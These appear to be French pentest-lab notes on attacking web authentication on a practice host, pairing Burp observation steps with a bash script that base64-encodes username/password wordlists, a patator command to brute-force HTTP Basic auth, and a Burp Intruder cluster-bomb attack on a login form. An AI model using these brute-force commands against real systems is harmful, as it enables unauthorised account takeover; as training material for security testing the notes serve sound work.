authentication

auth.md

HTTP Basic

Observer

• ouvrir burp
• sélectionner "burp" dans iceweasel via le bouton "Proxy selector"
• accéder à http://go.od/http-basic/ via iceweasel
• tenter un login mot de passe
• dans burp sélectionner l'onglet "Proxy"
• dans l'onglet "Proxy" > "Intercept"
• sélectionner le jeton encodé en base64
• clique droit > "Convert selection" > "Base64" > "Base64-decode"
• fermer burp

Attaquer

• ouvrir un fichier en bash

cat file | while read line
do
  echo "a line: $line"
done

• encoder / décoder en Base64 en ligne de commande

# décoder Base64 en ligne de commande
echo QWxhZGRpbjpvcGVuIHNlc2FtZQ== | base64 --decode

# encoder en Base64 en ligne de commande
echo "Aladdin:open sesame" | base64

• script final basicencode.sh

cat username.txt | while read user
do
        cat pass.txt | while read pass
        do
                echo -n "$user:$pass" | base64
        done
done

• utilisation

bash basicencode.sh > 64.txt

• pour finalement attaque avec patator

patator http_fuzz url=http://go.od/http-basic/ header='Authorization: Basic FILE0' 0=../../bruteforce/64.txt

HTTP Digest

Observer

• ouvrir burp
• sélectionner "burp" dans iceweasel via le bouton "Proxy selector"
• accéder à http://go.od/http-digest/ via iceweasel
• tenter un login mot de passe
• dans burp sélectionner l'onglet "Proxy"
• cliquer sur le bouton "forward"
• observer la réponse
• fermer burp

Attaquer

• brute forcer est un peu plus compliqué

Login Form

Observer

• ouvrir burp
• sélectionner "burp" dans iceweasel via le bouton "Proxy selector"
• accéder à http://go.od/login/ via iceweasel
• tenter un login mot de passe
  • observer la validation des emails
• dans burp sélectionner l'onglet "Proxy"
• dans l'onglet "Proxy" > "Intercept"
• Quel est le code de la réponse http?
• fermer burp

Attaquer

• avec burp
  • clique droit > "Send to Intruder"
  • onglet "Intruder" > "Positions"
    • faire les deux Add
    • Dans "Attack type" > sélectionner "Cluster bomb"
  • onglet "Intruder" > "Payloads"
    • "Payload set" > "1" > "Load ..."
      • /root/Desktop/1337/bruteforce/username.txt
    • "Payload set" > "2" > "Load ..."
      • /root/Desktop/1337/bruteforce/pass.txt
    • dans le menu "Intruder" > "Start attack"
      • filter ne cocher que les 200
      • noter que le username n'est pas un email

A tester

• Verb tamerping
  • apache 2.2.8 vulénrable on a un apache 2.2.22 :/
• DVWA and Hydra Login – DVWA Part 1
• Using BURP to Brute Force Damn Vulnerable Web Applications